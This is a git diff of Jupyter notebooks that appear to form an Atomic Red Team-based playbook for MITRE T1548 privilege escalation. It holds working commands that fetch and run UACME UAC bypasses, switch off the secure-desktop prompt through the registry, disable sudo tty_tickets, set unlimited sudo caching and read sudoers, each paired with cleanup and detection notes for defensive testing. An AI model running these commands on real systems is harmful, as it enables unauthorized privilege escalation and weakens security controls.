API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\WSReset.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodShellWSReset\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo %temp%\\uacme\\56 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n\n```" + "source": "### Atomic Test #15 - UACME Bypass Method 56\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Hashim Jawad\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\WSReset.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodShellWSReset\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (\"#{uacme_exe}\")\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\56 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\" -Force\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "17b91a7f", + "id": "b592c813", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 15 -GetPreReqs" }, { "cell_type": "markdown", - "id": "163be10c", + "id": "1ffab067", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\n\"%temp%\\uacme\\56 Akagi64.exe\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\56 Akagi64.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "a72638f7", + "id": "78fd9d37", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 15" }, { "cell_type": "markdown", - "id": "398654bf", + "id": "15803b59", "metadata": {}, "source": "#### Cleanup: \n```cmd\npowershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a76fd170", + "id": "ea704f04", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 15 -Cleanup" }, { "cell_type": "markdown", - "id": "e16a0f81", + "id": "cbde5135", "metadata": {}, - "source": "### Atomic Test #16 - UACME Bypass Method 59\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: James Forshaw\n\nType:\tAppInfo ALPC\n\nMethod: RAiLaunchAdminProcess and DebugObject\n\nTarget:\tAttacker defined\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDebugObjectMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo %temp%\\uacme\\59 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n\n```" + "source": "### Atomic Test #16 - UACME Bypass Method 59\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: James Forshaw\n\nType:\tAppInfo ALPC\n\nMethod: RAiLaunchAdminProcess and DebugObject\n\nTarget:\tAttacker defined\n\nComponent:\tAttacker defined\n\nImplementation:\tucmDebugObjectMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (\"#{uacme_exe}\")\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\59 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\" -Force\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5a80fc3e", + "id": "09076524", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 16 -GetPreReqs" }, { "cell_type": "markdown", - "id": "940a9295", + "id": "d63bce95", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\n\"%temp%\\uacme\\59 Akagi64.exe\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\59 Akagi64.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "3dde5ca8", + "id": "c9a66a6d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 16" }, { "cell_type": "markdown", - "id": "63efa4d2", + "id": "0c9791fe", "metadata": {}, "source": "#### Cleanup: \n```cmd\npowershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "36dff2a1", + "id": "6124d8f2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 16 -Cleanup" }, { "cell_type": "markdown", - "id": "fb26cb6b", + "id": "3119ca8a", "metadata": {}, - "source": "### Atomic Test #17 - UACME Bypass Method 61\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Enigma0x3/bytecode77 derivative by Nassim Asrir\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\slui.exe, \\system32\\changepk.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (#{uacme_exe})\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo %temp%\\uacme\\61 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n\n```" + "source": "### Atomic Test #17 - UACME Bypass Method 61\nExecutes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Enigma0x3/bytecode77 derivative by Nassim Asrir\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\slui.exe, \\system32\\changepk.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: UACME executable must exist on disk at specified location (\"#{uacme_exe}\")\n\n##### Check Prereq Commands:\n```cmd\n$tempPath = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\61 Akagi64.exe\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\" -Force\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme.zip\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8b6f888e", + "id": "5cce5d99", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 17 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9832b4d1", + "id": "8e242d3f", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\n\"%temp%\\uacme\\61 Akagi64.exe\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\uacme\\61 Akagi64.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "a0133c11", + "id": "10df7cec", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 17" }, { "cell_type": "markdown", - "id": "97c72894", + "id": "5dbdd1af", "metadata": {}, "source": "#### Cleanup: \n```cmd\npowershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c55a908a", + "id": "79bdfd91", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 17 -Cleanup" }, { "cell_type": "markdown", - "id": "cace4b65", + "id": "5f711cf8", "metadata": {}, "source": [ "### Atomic Test #18 - WinPwn - UAC Magic", @@ -682,14 +682,14 @@ { "cell_type": "code", "execution_count": null, - "id": "f75838f9", + "id": "394a2cf5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 18" }, { "cell_type": "markdown", - "id": "8827d502", + "id": "96354f63", "metadata": {}, "source": [ "### Atomic Test #19 - WinPwn - UAC Bypass ccmstp technique", @@ -702,14 +702,14 @@ { "cell_type": "code", "execution_count": null, - "id": "1207ad14", + "id": "b7eb4a9b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 19" }, { "cell_type": "markdown", - "id": "dee43872", + "id": "0acd84b6", "metadata": {}, "source": [ "### Atomic Test #20 - WinPwn - UAC Bypass DiskCleanup technique", @@ -722,14 +722,14 @@ { "cell_type": "code", "execution_count": null, - "id": "30f14a25", + "id": "6efb3ae2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 20" }, { "cell_type": "markdown", - "id": "23bafa04", + "id": "45f44c94", "metadata": {}, "source": [ "### Atomic Test #21 - WinPwn - UAC Bypass DccwBypassUAC technique", @@ -742,14 +742,14 @@ { "cell_type": "code", "execution_count": null, - "id": "47ba66f1", + "id": "ea863cf7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 21" }, { "cell_type": "markdown", - "id": "b01f798f", + "id": "568d0b10", "metadata": {}, "source": [ "### Atomic Test #22 - Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key", @@ -763,28 +763,28 @@ { "cell_type": "code", "execution_count": null, - "id": "c504bb22", + "id": "6b874ca0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 22" }, { "cell_type": "markdown", - "id": "6e6a3967", + "id": "8d9d9ab7", "metadata": {}, "source": "#### Cleanup: \n```powershell\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name ConsentPromptBehaviorAdmin -Value $orgValue -Type Dword -Force\n```" }, { "cell_type": "code", "execution_count": null, - "id": "43bac783", + "id": "8b6465f1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 22 -Cleanup" }, { "cell_type": "markdown", - "id": "5c753cc8", + "id": "328fdda3", "metadata": {}, "source": [ "### Atomic Test #23 - UAC Bypass with WSReset Registry Modification", @@ -797,28 +797,63 @@ { "cell_type": "code", "execution_count": null, - "id": "3e866161", + "id": "72eaee28", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 23" }, { "cell_type": "markdown", - "id": "03938b4a", + "id": "03548fc5", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item HKCU:\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command -Recurse -Force\n```" }, { "cell_type": "code", "execution_count": null, - "id": "38480e43", + "id": "78b2004f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.002 -TestNumbers 23 -Cleanup" }, { "cell_type": "markdown", - "id": "2e4fa0e3", + "id": "7f53a4a5", + "metadata": {}, + "source": [ + "### Atomic Test #24 - Disable UAC - Switch to the secure desktop when prompting for elevation via registry key", + "User Account Control (UAC) is a security mechanism for limiting the elevation of privileges, including administrative accounts, unless authorized. \nThis setting ensures that the elevation prompt is only used in secure desktop mode.\nDisable User Account Conrol (UAC) for secure desktop by setting the registry key HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\PromptOnSecureDesktop to 0.\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name PromptOnSecureDesktop -Value 0 -Type Dword -Force```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4241c9e3", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.002 -TestNumbers 24" + }, + { + "cell_type": "markdown", + "id": "75799db9", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name PromptOnSecureDesktop -Value 1 -Type Dword -Force\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "fe48190e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.002 -TestNumbers 24 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "3f62f9d7", "metadata": {}, "source": "## Detection\nThere are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\n\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes." } @@ -826,13 +861,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1548.003.ipynb b/playbook/tactics/defense-evasion/T1548.003.ipynb index ac8905c5..e9917e25 100644 --- a/playbook/tactics/defense-evasion/T1548.003.ipynb +++ b/playbook/tactics/defense-evasion/T1548.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "6c85b167", + "id": "c122eaa5", "metadata": {}, "source": "# T1548.003 - Sudo and Sudo Caching\nAdversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default." }, { "cell_type": "markdown", - "id": "df57d991", + "id": "91690509", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "09ea770a", + "id": "1c8a829e", "metadata": {}, "source": [ "### Atomic Test #1 - Sudo usage", @@ -28,17 +28,48 @@ { "cell_type": "code", "execution_count": null, - "id": "6d86aeee", + "id": "e5fe7208", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1548.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a8093409", + "id": "1048e09f", + "metadata": {}, + "source": "### Atomic Test #2 - Sudo usage (freebsd)\nCommon Sudo enumeration methods.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if sudo is installed.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v sudo)\" ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which pkg && pkg install -y sudo)\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1346d018", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.003 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "e0a19a1c", "metadata": {}, "source": [ - "### Atomic Test #2 - Unlimited sudo cache timeout", + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo -l \nsudo cat /usr/local/etc/sudoers\nsudo ee /usr/local/etc/sudoers\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d70bce79", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.003 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "0dd62ab8", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Unlimited sudo cache timeout", "Sets sudo caching timestamp_timeout to a value for unlimited. This is dangerous to modify without using 'visudo', do not do this on a production system.\n", "**Supported Platforms:** macos, linux", "\nElevation Required (e.g. root or admin)", @@ -49,35 +80,97 @@ { "cell_type": "code", "execution_count": null, - "id": "2439b436", + "id": "98ea4927", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.003 -TestNumbers 2" + "source": "Invoke-AtomicTest T1548.003 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "913d0464", + "metadata": {}, + "source": "### Atomic Test #4 - Unlimited sudo cache timeout (freebsd)\nSets sudo caching timestamp_timeout to a value for unlimited. This is dangerous to modify without using 'visudo', do not do this on a production system.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if sudo is installed.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v sudo)\" ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which pkg && pkg install -y sudo)\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "bf50a06c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.003 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f7e40892", + "id": "3711361c", "metadata": {}, "source": [ - "### Atomic Test #3 - Disable tty_tickets for sudo caching", + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /usr/local/etc/sudoers\nsudo visudo -c -f /usr/local/etc/sudoers\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "b02bf444", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.003 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "25d655f2", + "metadata": {}, + "source": [ + "### Atomic Test #5 - Disable tty_tickets for sudo caching", "Sets sudo caching tty_tickets value to disabled. This is dangerous to modify without using 'visudo', do not do this on a production system.\n", "**Supported Platforms:** macos, linux", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `sh`\n", - "```sh\nsudo sh -c \"echo Defaults \"'!'\"tty_tickets >> /etc/sudoers\"\nsudo visudo -c -f /etc/sudoers```" + "```sh\nsudo sh -c \"echo Defaults \"'!'\"tty_tickets >> /etc/sudoers\"\nsudo visudo -c -f /etc/sudoers\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "38a702b7", + "id": "dafb47f1", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1548.003 -TestNumbers 3" + "source": "Invoke-AtomicTest T1548.003 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "967dffbe", + "metadata": {}, + "source": "### Atomic Test #6 - Disable tty_tickets for sudo caching (freebsd)\nSets sudo caching tty_tickets value to disabled. This is dangerous to modify without using 'visudo', do not do this on a production system.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if sudo is installed.\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v sudo)\" ]; then exit 1; else exit 0; fi;\n\n```\n##### Get Prereq Commands:\n```sh\n(which pkg && pkg install -y sudo)\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2c373bf3", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.003 -TestNumbers 6 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "a9fdecf1", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo sh -c \"echo Defaults \"'!'\"tty_tickets >> /usr/local/etc/sudoers\"\nsudo visudo -c -f /usr/local/etc/sudoers\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "34211965", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1548.003 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "73c91967", + "id": "694f96be", "metadata": {}, "source": "## Detection\nOn Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file." } @@ -85,13 +178,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1548.004.ipynb b/playbook/tactics/defense-evasion/T1548.004.ipynb index 4d2707b7..0a4d8da9 100644 --- a/playbook/tactics/defense-evasion/T1548.004.ipynb +++ b/playbook/tactics/defense-evasion/T1548.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "f337fa5e", + "id": "2422bbe3", "metadata": {}, "source": "# T1548.004 - Elevated Execution with Prompt\nAdversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)" }, { "cell_type": "markdown", - "id": "cb2195ea", + "id": "cff15104", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "799b2e30", + "id": "3280a29a", "metadata": {}, "source": "## Detection\nConsider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1548.005.ipynb b/playbook/tactics/defense-evasion/T1548.005.ipynb new file mode 100644 index 00000000..9b8c579c --- /dev/null +++ b/playbook/tactics/defense-evasion/T1548.005.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "0b9b5d4b", + "metadata": {}, + "source": "# T1548.005 - Temporary Elevated Cloud Access\nAdversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own. \n\nJust-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.(Citation: Google Cloud Just in Time Access 2023)(Citation: Azure Just in Time Access 2023)\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account.(Citation: Google Cloud Service 